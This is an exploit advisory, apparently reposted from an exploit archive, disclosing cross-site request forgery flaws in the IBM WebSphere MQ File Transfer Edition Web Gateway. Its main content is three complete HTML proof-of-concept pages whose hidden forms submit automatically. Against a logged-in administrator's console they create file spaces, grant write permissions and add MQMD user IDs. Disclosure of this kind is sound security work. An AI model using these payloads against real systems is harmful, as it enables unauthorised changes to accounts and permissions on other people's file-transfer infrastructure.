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IBM WebSphere MQ File Transfer Edition Web Gateway CSRF Vulnerability
*Exploit Author:* Nir Valtman *Description:* Malicious user is able to add userspace, change permissions on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of the these vulnerabilities can be exploited using a CSRF (Cross Site Request Forgery) attack. Few days ago the CVE has been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482> * * *Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running on all platforms are affected. * * * * *Exploit Details:* *1. CSRF To add user and define his quota on a userspace* I created the following HTML page and then opened it by a logged-on user: <html> <head></head> <body> <form id="frm" method="post" action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces" <input type="hidden" name="nirvcsrf" value="junk" /> <input type="hidden" name="name" value="zzzzzz" /> <input type="hidden" name="quota" value="15" /> <input type="hidden" name="id" value="NewFileSpace" /> </form> <script> document.frm.submit(); </script> </body> </html> See the following screenshot, which follows the execution of CSRF attack: [image: Inline image 1] *2. CSRF to add permissions on file spaces:* I created the following HTML page and then opened it by a logged-on user: <html> <head></head> <body> <form id="frm" method="post" action="https://*[ip-address-and-port]* /wmqfteconsole/FileSpacePermisssions" <input type="hidden" name="nirvcsrf" value="junk" /> <input type="hidden" name="user" value="bodek2" /> <input type="hidden" name="write" value="authorized" /> <input type="hidden" name="id" value="zzzzzz_TEMP_PERMISSIONS" /> </form> <script> document.frm.submit(); </script> </body> </html> See the following screenshot, which follows the execution of CSRF attack: [image: Inline image 2] *2. CSRF to add MQMD user id:* I created the following HTML page and then opened it by a logged-on user: <html> <head></head> <body> <form id="frm" method="post" action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers" <input type="hidden" name="nirvcsrf" value="junk" /> <input type="hidden" name="userID" value="csrfUserId" /> <input type="hidden" name="mqmdUserID" value="userIdTest" /> <input type="hidden" name="id" value="NewUploadUser" /> </form> <script> document.frm.submit(); </script> </body> </html> See the following screenshot, which follows the execution of CSRF attack: [image: Inline image 3] Best Regards, Nir Valtman # 0day.today [2024-09-28] #